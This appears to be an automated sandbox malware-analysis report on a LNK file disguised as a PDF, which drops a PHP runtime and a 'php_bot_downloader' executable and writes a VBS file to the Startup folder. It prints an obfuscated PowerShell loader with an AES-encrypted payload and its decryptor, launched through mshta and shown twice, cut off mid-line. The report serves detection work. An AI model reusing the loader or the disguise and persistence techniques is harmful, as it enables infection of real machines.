Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: tar.exe, 00000015.00000003.2012701021.0000021721947000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2013269823.000002172195E000.00000004.00000020.00020000.00000000.sdmp, tar.exe, 00000015.00000003.2012847011.0000021721956000.00000004.00000020.00020000.00000000.sdmp, php.exe, 00000018.00000002.2897325854.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmp, php.exe, 0000001C.00000002.2896990047.00007FFE1A531000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php_sysvshm.pdb source: php_sysvshm.dll.21.dr
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x64\obj\Release_TS\php_zend_test.pdb source: php_zend_test.dll.21.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'CC0D32DBB8F2AEAAAD367283309458E20D13E54AE9F93C26DBBAD73293BD50A36D9574E1A9FCCBBE98A49FC7AA50C3C051F3CBAE9B99771F9B3471A8B7406647B45710656B9560F816F99C52E5CD056E94BB343C78DECD912750ECF5C120A3C6120F92F9AB407C779692B2B801886D4C1933853B818B2F4ACBF254531544A97C461534F8989BDBE763C47BD13A5027B3175BDB8C0BA73400B08CB34FF3383856710CB6019243D1C36B39D01C9442DBEB89528D749444614EA6F3A125CFDB0B5CB39EA903AD087683829FAE488C94736BC882DFA6F1B5BADE602DC13EA4A71F59C0C555E4AA6CC495A964CEE240BAC2F3D429AA98692B0BF989429E291DCF520A3167A6D7D554A48ED1EC98E1F71AA758670750C98404FB140B70E6F8CE88015D69E8D0F3FCF7F737F074F810905C0DD5FD37726F325B89CC02C3B0CD71DD28A101A9080999F615A7AF33942A1FEAF9033FFB3CB02D88C83CEA4BEB13D36CCCDE536D2D4EA38EA00E492838E3E78EE9C0CA9DBC405A5C6F049999533FD9F5FA7404801734E8378978546AAF5D84956D74F1C451D373B86F3488593922F15AEE13BA02471A9C112CEDF4833B3F0638A4A8CECD1D52E9714EA9EDEB5E32944EB33FE52FB8A4B556B1DA6183E48183ACE760AE01310141F680BF3D33446801FC2BFD3000C1BDD51A6E8F30AA8A9B5C8BFBB555A5C04AC12A81509772CE127CB8598C525EBA2A091166AA250CCC96785ABD72973ECED6924E22C09BD25C868452073029B96D7C754E3D74FDF15E08C2A0F4C53F93F39EC3F0FD965A188FDF13D042BBC47CF96138A70FAB9162E32734D3C137CC3A4D27DB5363F9FA5F59ECAC5ADF283B806C00431D7D240795F83F85010F571088B246CEEDC36DADA39641C871CCD8E775017B5A338D1D94E045C140E05F8F86DB296BFFD092C327B31BB3D19F8C1B5B5EFBFD54647ABB292A0F16D86139B074238F1AB2638E0A3034AC7C00056A6E988B63A360B70DCBCDFD1A98A7DE9D02F1760C98DEFEFD55748A81631DD8336CCBC8BDB9784FDC8ED2398FADF660B1349E919FD6497D31A84903C8649BB847B3734E51D3C9ABDFA5BBE03A6CA0E3EC6A9ABB6054F6EB3DE0B804173A9DFDFD85C03FBB3DD4CD7152D30D13AF80E4BC2D9D561DB494C445384AF14A71AF67A3F252F2BAB0EB8A399A9F3DE478EE0920E4F717E63A195E6394FFD001BEFEED37566A40C55DC5CF48EF42822AD3876834FF7F2C41AA52134D41CE152176D5FBC298F91AF4E5C2ADB1486720693646536D8308BF068787AEE0EED268732FA76B22C73A43EEC2E677B595D575F1EDD71FAEC18238660E9D88409FA932407116BB516B6340B888E6FF5C5E303826F793F4E87135C2D9D20886EB5FCFC42C0D9603B67C13BBE82488090447CE2D406BCE4F71F8DED1277FB46A3F2E9FEB147880DEF6AD74481A95C5A94D480FA6742D967332B49570E903748A0BC475D54F8A4C548412C4AE30767A66A97B5BCFEE2DCB02BD3B11FA82EA1D214EA6520580B2DDF1FACDAD83B1921E52658D688B42F0DC0F163134922A308D66702D2E0ABFC978ECCE276FD6423CFF201D4169303D1FEE518BF422FDA896E2625653444DDB524D1779473C3EF10919F817A39FEBE05CE776ACD3EEB5F6529FC14DA7797DC617900100111D543A4680515798A7EB47B4C3C8F79DA82C90F0A61ADCC29B3FFCB05F9F13ECC10A907A9F8FD908476EA00AAE8E8631736D715947485271496F5853536B744B';function wLh ($iUUDD){return -split ($iUUDD -replace '..', '0x$& ')};$feiFxp = wLh($ddg.SubString(0, 2464));$zXe = [System.Security.Cryptography.Aes]::Create();$zXe.Key = wLh($ddg.SubString(2464));$zXe.IV = New-Object byte[] 16;$QlaSHZgH = $zXe.CreateDecryptor();$PwiNROQ = [System.String]::new($QlaSHZgH.TransformFinalBlock($feiFxp, 0,$feiFxp.Leng
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $ddg = 'CC0D32DBB8F2AEAAAD367283309458E20D13E54AE9F93C26DBBAD73293BD50A36D9574E1A9FCCBBE98A49FC7AA50C3C051F3CBAE9B99771F9B3471A8B7406647B45710656B9560F816F99C52E5CD056E94BB343C78DECD912750ECF5C120A3C6120F92F9AB407C779692B2B801886D4C1933853B818B2F4ACBF254531544A97C461534F8989BDBE763C47BD13A5027B3175BDB8C0BA73400B08CB34FF3383856710CB6019243D1C36B39D01C9442DBEB89528D749444614EA6F3A125CFDB0B5CB39EA903AD087683829FAE488C94736BC882DFA6F1B5BADE602DC13EA4A71F59C0C555E4AA6CC495A964CEE240BAC2F3D429AA98692B0BF989429E291DCF520A3167A6D7D554A48ED1EC98E1F71AA758670750C98404FB140B70E6F8CE88015D69E8D0F3FCF7F737F074F810905C0DD5FD37726F325B89CC02C3B0CD71DD28A101A9080999F615A7AF33942A1FEAF9033FFB3CB02D88C83CEA4BEB13D36CCCDE536D2D4EA38EA00E492838E3E78EE9C0CA9DBC405A5C6F049999533FD9F5FA7404801734E8378978546AAF5D84956D74F1C451D373B86F3488593922F15AEE13BA02471A9C112CEDF4833B3F0638A4A8CECD1D52E9714EA9EDEB5E32944EB33FE52FB8A4B556B1DA6183E48183ACE760AE01310141F680BF3D33446801FC2BFD3000C1BDD51A6E8F30AA8A9B5C8BFBB555A5C04AC12A81509772CE127CB8598C525EBA2A091166AA250CCC96785ABD72973ECED6924E22C09BD25C868452073029B96D7C754E3D74FDF15E08C2A0F4C53F93F39EC3F0FD965A188FDF13D042BBC47CF96138A70FAB9162E32734D3C137CC3A4D27DB5363F9FA5F59ECAC5ADF283B806C00431D7D240795F83F85010F571088B246CEEDC36DADA39641C871CCD8E775017B5A338D1D94E045C140E05F8F86DB296BFFD092C327B31BB3D19F8C1B5B5EFBFD54647ABB292A0F16D86139B074238F1AB2638E0A3034AC7C00056A6E988B63A360B70DCBCDFD1A98A7DE9D02F1760C98DEFEFD55748A81631DD8336CCBC8BDB9784FDC8ED2398FADF660B1349E919FD6497D31A84903C8649BB847B3734E51D3C9ABDFA5BBE03A6CA0E3EC6A9ABB6054F6EB3DE0B804173A9DFDFD85C03FBB3DD4CD7152D30D13AF80E4BC2D9D561DB494C445384AF14A71AF67A3F252F2BAB0EB8A399A9F3DE478EE0920E4F717E63A195E6394FFD001BEFEED37566A40C55DC5CF48EF42822AD3876834FF7F2C41AA52134D41CE152176D5FBC298F91AF4E5C2ADB1486720693646536D8308BF068787AEE0EED268732FA76B22C73A43EEC2E677B595D575F1EDD71FAEC18238660E9D88409FA932407116BB516B6340B888E6FF5C5E303826F793F4E87135C2D9D20886EB5FCFC42C0D9603B67C13BBE82488090447CE2D406BCE4F71F8DED1277FB46A3F2E9FEB147880DEF6AD74481A95C5A94D480FA6742D967332B49570E903748A0BC475D54F8A4C548412C4AE30767A66A97B5BCFEE2DCB02BD3B11FA82EA1D214EA6520580B2DDF1FACDAD83B1921E52658D688B42F0DC0F163134922A308D66702D2E0ABFC978ECCE276FD6423CFF201D4169303D1FEE518BF422FDA896E2625653444DDB524D1779473C3EF10919F817A39FEBE05CE776ACD3EEB5F6529FC14DA7797DC617900100111D543A4680515798A7EB47B4C3C8F79DA82C90F0A61ADCC29B3FFCB05F9F13ECC10A907A9F8FD908476EA00AAE8E8631736D715947485271496F5853536B744B';function wLh ($iUUDD){return -split ($iUUDD -replace '..', '0x$& ')};$feiFxp = wLh($ddg.SubString(0, 2464));$zXe = [System.Security.Cryptography.Aes]::Create();$zXe.Key = wLh($ddg.SubString(2464));$zXe.IV = New-Object byte[] 16;$QlaSHZgH = $zXe.CreateDecryptor();$PwiNROQ = [System.String]::new($QlaSHZgH.TransformFinalBlock($feiFxp, 0,$feiFxp.Leng			Jump to behavior

Source: samm[1].5.dr

Static PE information: 0xDD4C8E8E [Wed Aug 27 00:19:26 2087 UTC]

Source: nghttp2.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x4241f
Source: gmodule-2.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0xe558
Source: libsqlite3.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x19ad5d
Source: legacy.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x3251b
Source: icuin71.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x2f03aa
Source: libsodium.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x5529f
Source: libssh2.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x65fd1
Source: libsasl.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x3de7f
Source: deplister.exe.21.dr	Static PE information: real checksum: 0x0 should be: 0x2e96f
Source: libpq.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x55808
Source: samm[1].5.dr	Static PE information: real checksum: 0x46055 should be: 0x16553c
Source: libssl-3-x64.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0xc375a
Source: libenchant2.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x17e60
Source: libcrypto-3-x64.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x500978
Source: php_bot_downloader_v2-AVERAGE-BOI-CLN.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x491b5
Source: icuuc71.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x22b2e9
Source: glib-2.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x1890d7
Source: libenchant2_hunspell.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x7d0e9
Source: icuio71.dll.21.dr	Static PE information: real checksum: 0x0 should be: 0x1bdbd

Source: php_bot_downloader_v2-AVERAGE-BOI-CLN.exe.7.dr	Static PE information: section name: _RDATA
Source: deplister.exe.21.dr	Static PE information: section name: _RDATA
Source: legacy.dll.21.dr	Static PE information: section name: .00cfg
Source: php_gd.dll.21.dr	Static PE information: section name: .rodata
Source: libcrypto-3-x64.dll.21.dr	Static PE information: section name: .00cfg
Source: libssh2.dll.21.dr	Static PE information: section name: .00cfg
Source: libssl-3-x64.dll.21.dr	Static PE information: section name: .00cfg
Source: nghttp2.dll.21.dr	Static PE information: section name: .00cfg
Source: vcruntime140.dll.21.dr	Static PE information: section name: _RDATA

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9AF92370 push eax; iretd		7_2_00007FFD9AF9237D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 7_2_00007FFD9AF95974 pushad ; retf		7_2_00007FFD9AF95979

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\mshta.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\mshta.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe
Source: LNK file	Process created: C:\Windows\System32\cmd.exe

Creates processes via WMI

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecMethod - ROOT\CIMV2 : Win32_Process::Create

Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\extras\ssl\legacy.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\deplister.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_intl.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_mysqli.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8apache2_4.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_xsl.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icudt71.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libpq.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sysvshm.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_shmop.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_pgsql.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_enchant.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_openssl.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsasl.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\glib-2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_imap.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pgsql.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-cgi.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuio71.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8phpdbg.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_odbc.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\phpdbg.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\gmodule-2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_oci.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsodium.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_snmp.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php-win.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_bz2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_tidy.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\nghttp2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_firebird.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libsqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\lib\enchant\libenchant2_hunspell.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_com_dotnet.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_fileinfo.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libssl-3-x64.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_mbstring.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sockets.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_opcache.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuuc71.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_oci8_19.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_exif.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_curl.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_zend_test.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_mysql.dll	Jump to dropped file
Source: C:\Windows\System32\mshta.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1]	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libenchant2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php8ts.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gmp.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libssh2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_sqlite.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gettext.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ffi.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_pdo_odbc.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_dl_test.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\libcrypto-3-x64.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_dba.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_soap.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_gd.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ftp.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_zip.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_sodium.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\icuin71.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\ext\php_ldap.dll	Jump to dropped file

Source: C:\Windows\System32\mshta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\samm[1]

Jump to dropped file

Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\license.txt
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\readme-redist-bins.txt

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs

Jump to dropped file

Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs

Source: C:\Users\user\AppData\Roaming\php-8.2.11-Win32-vs16-x64\php.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PHP-8.2.vbs

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: pdf.lnk

Static PE information: HateSpeech2024_Summary.pdf.lnk.bin.lnk

Source: C:\Users\user\AppData\Roaming\php_bot_downloader_v2-AVERAGE-BOI-CLN.exe

Code function: 12_2_00007FF658E2CBF4 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

12_2_00007FF658E2CBF4

Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
